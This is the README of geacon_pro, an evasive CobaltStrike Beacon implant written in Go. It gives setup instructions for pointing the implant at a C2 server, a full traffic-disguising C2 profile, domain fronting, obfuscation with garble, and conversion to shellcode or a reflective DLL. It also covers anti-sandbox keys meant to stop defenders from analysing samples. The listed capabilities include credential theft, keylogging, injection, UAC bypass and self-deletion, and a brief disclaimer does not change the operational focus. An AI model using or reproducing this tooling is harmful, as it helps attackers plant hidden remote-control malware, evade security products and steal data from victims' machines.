geacon_pro

中文说明在这里

1.Introduction

geacon_pro is an Anti-Virus bypassing CobaltStrike Beacon written in Golang based on geacon project.

geacon_pro supports CobaltStrike version 4.1+

geacon_pro has implemented most functions of Beacon.

The currently implemented functions can pass Defender, 360 core crystal, Kaspersky (except injecting native CobaltStrike dll, you can inject featureless dll), and Huorong.

In order to avoid from monitoring of Anti-Virus, you can use garble to confuse our project.

We will continue to follow up the method of bypassing Anti-Virus and keep geacon_pro from being detected by Anti-Virus. We will also integrate the pen test tools which can bypass Anti-Virus. We hope that geacon_pro can be made into a cross-platform bypass Anti-Virus tool that is not limited to CobaltStrike native functions in the future. Discussions are welcome if you have relevant needs or ideas. your support and discussion is the driving force for us to move forward.

This project is developed by me and Z3ratu1. He has implemented a version of geacon_plus that supports CobaltStrike version 4.0. geacon_pro supports version 4.1 and above. Functions of these two projects are almost same while encapsulation is slightly different.

If you have a good solution for heap memory encryption, welcome to discuss, my implementation ideas are in the implementation details.

2.Disclaimer

This project is only for learning CobaltStrike protocol. Please do not use it for any illegal purpose, and the consequences arising therefrom shall be borne by yourself.

3.Functions

Windows platform:

sleep, shell, upload, download, exit, cd, pwd, file_browse, ps, kill, getuid, mkdir, rm, cp, mv, run, execute, drives, powershell-import, powershell, powershell-obfuscation, powerpick, psinject, bypassuac(bypass Anti-Virus), service elevation(bypass Anti-Virus), execute-assembly, Multiple thread injection methods (you can replace the source code yourself), spawn, inject, shinject, dllinject, pipe, Various CobaltStrike native reflection dll injection (mimikatz, portscan, screenshot, keylogger, etc.), steal_token, rev2self, make_token, getprivs, runu, argue spoofing, proxy, self-delete, timestomp, unhook, etc. Supports reflectiveDll, execute-assembly, powershell, powerpick, upload and execute and other functions of cna custom plugins.

Unhook is not stable now. win8.1, winserver 2012 r2, some version of win7 can not run. You can use it by setting Unhook in config.go.

Linux, Mac platform:

sleep, shell, upload, download, exit, cd, pwd, file_browse, ps, kill, getuid, mkdir, rm, cp, mv, self-delete, timestomp, etc.

The process management and the file management support graphical interaction.

C2profile:

geacon_pro adapts the settings on the flow of C2profile and some settings on the host. The supported encoding algorithms are base64, base64url, mask, netbios, netbiosu. Details can be found in config.go.

4.How to use geacon_pro

There are two ways to use, you can use it flexibly according to your preferences:

The first method: Compile into exe and execute

(1) Modify the public key of CobaltStrike

Modify the RsaPublicKey in config.go (it is the public key of CobaltStrike, not the public key of https, and the extraction method can refer to the introduction of geacon.

The line of "-----END PUBLIC KEY-----" should not have any indent.

(2) Modify the address of C2

Modify the C2 address in config.go (it is the listener address. If you want to connect beacon with a http listener, you need to change sslHTTP to plainHTTP).

Domain fronting (optional): If you want to use domain fronting, you can change the C2 address to the domain name and port of the domain fronting, and then change the host of req.Header in config.go to the domain name.

(3) Adapt C2profile

Please do not set "set obfuscation" and "data_jitter" in post-ex of C2profile. Remember to add /r in config.go for multi-line append configuration。

If you want to use geacon_pro quickly, you can directly use the sample c2profile without modifying config.go.

If you want to configure it by yourself, you can modify config.go according to the specific field name in C2profile. For example, Http_post_id_crypt=[]string{"mask", "netbiosu"} in config.go corresponds to the "mask" in the "id" in "http-post" in C2profile; and netbiosu. Our main task in the next stage is to simplify the configuration process.

IMPORTANT!!! After modifying the C2profile, do not forget to sync the changes in config.go:

An example C2profile is given below, and the default config.go adapts to this C2profile:

# default sleep time is 60s
set sleeptime "3000";
set jitter "7";

https-certificate {
    set C "KZ";
    set CN "foren.zik";
    set O "NN Fern Sub";
    set OU "NN Fern";
    set ST "KZ";
    set validity "365";
}

# define indicators for an HTTP GET
http-get {

	set uri "/www/handle/doc";

	client {
		#header "Host" "aliyun.com";
		# base64 encode session metadata and store it in the Cookie header.
		metadata {
			base64url;
			prepend "SESSIONID=";
			header "Cookie";
		}
	}

	server {
		# server should send output with no changes
		#header "Content-Type" "application/octet-stream";
		header "Server" "nginx/1.10.3 (Ubuntu)";
    		header "Content-Type" "application/octet-stream";
        	header "Connection" "keep-alive";
        	header "Vary" "Accept";
        	header "Pragma" "public";
        	header "Expires" "0";
        	header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";

		output {
			mask;
			netbios;
			prepend "data=";
			append "%%";
			print;
		}
	}
}

# define indicators for an HTTP 
http-post {
	# Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]
	set uri "/IMXo";
	client {
		#header "Content-Type" "application/octet-stream";				

		# transmit our session identifier as /submit.php?id=[identifier]
		
		id {				
			mask;
			netbiosu;
			prepend "user=";
			append "%%";
			header "User";
		}

		# post our output with no real changes
		output {
			mask;
			base64url;
			prepend "data=";
			append "%%";		
			print;
		}
	}

	# The server's response to our HTTP POST
	server {
		header "Server" "nginx/1.10.3 (Ubuntu)";
    		header "Content-Type" "application/octet-stream";
        	header "Connection" "keep-alive";
       	 	header "Vary" "Accept";
        	header "Pragma" "public";
        	header "Expires" "0";
        	header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";

		# this will just print an empty string, meh...
		output {
			mask;
			netbios;
			prepend "data=";
			append "%%";
			print;
		}
	}
}

post-ex {
    set spawnto_x86 "c:\\windows\\syswow64\\rundll32.exe";
    set spawnto_x64 "c:\\windows\\system32\\rundll32.exe";
    
    set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";
    set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##";
    set keylogger "SetWindowsHookEx";
}

(4) Compile to exe and execute

Adding -ldflags "-H windowsgui -s -w" when compiling binary can reduce the program size and hide the cmd window. When compiling for linux and mac, adding -ldflags "-s -w" can reduce the size of the program, and then run it in the background.

You can use garble to obfuscate geacon_pro.

The second method: Convert to reflective dll/shellcode to flexibly load

The first three steps are the same as the first method.

(4) Compile to reflective dll/shellcode

If you don’t want to use the exe generated, you can use this project to convert geacon_pro into reflective dll/shellcode and use the loader to load. If you think that the converted volume is too large(about 6.3M), you can use the downloader(stager) to load the reflective dll remotely.

After moving the files in the geacon_pro directory to this project directory, rename the original "main" function of main.go to "OnPorcessAttach" and mark the export function, then add 'import "C"' and add the main() function, and finally use x64.bat to compile (you can customize the compilation parameters) and generate reflective dll. The example of main.go is given below:

package main

import "C"
import (
	"bytes"
	"errors"
	"fmt"
	"main/config"
	"main/crypt"
	"main/packet"
	"main/services"
	"os"
	"strings"
	"time"
)

func main() {
    //fmt.Println("123")
}
//export OnProcessAttach
func OnProcessAttach() {
	......//The content of original main function
	......
	......
}

Custom settings

There are some custom settings in config.go:

• Proxy: Proxy sets the function of sending packets by proxy. You can find details in Implementation Details.
• Unhook: Unhook can be used to bypass hooking of Anti-Virus, however, it is not stable now.
• Remark: Remark can be used to remark the machine when it connects to server, which is convenient for distinguishing different scenes. That is, if Remark="test", the name of the online machine will be set as ComputerName [test].
• ExecuteKey: ExecuteKey can perform simple anti-sandbox. If the value is "password", geacon_pro.exe password is required for execution after setting. The sandbox or blue team members cannot execute it because they do not know the key.
• ExecuteTime: ExecuteTime can perform simple anti-sandbox. If the current time is later than the set time, the execution will fail. Pay attention, it is UTC time zone.
• Self-delete: Self-delete sets whether to delete itself after exiting or not.
• HideConsole: HideConsole sets whether to hide the console or not.
• CommandReadTime: CommandReadTime sets the interval for asynchronous real-time pushing of long commands.

5.Implementation details

6.Functions need to be improved

7.To do in the future

8.404Starlink

geacon_pro has joined 404Starlink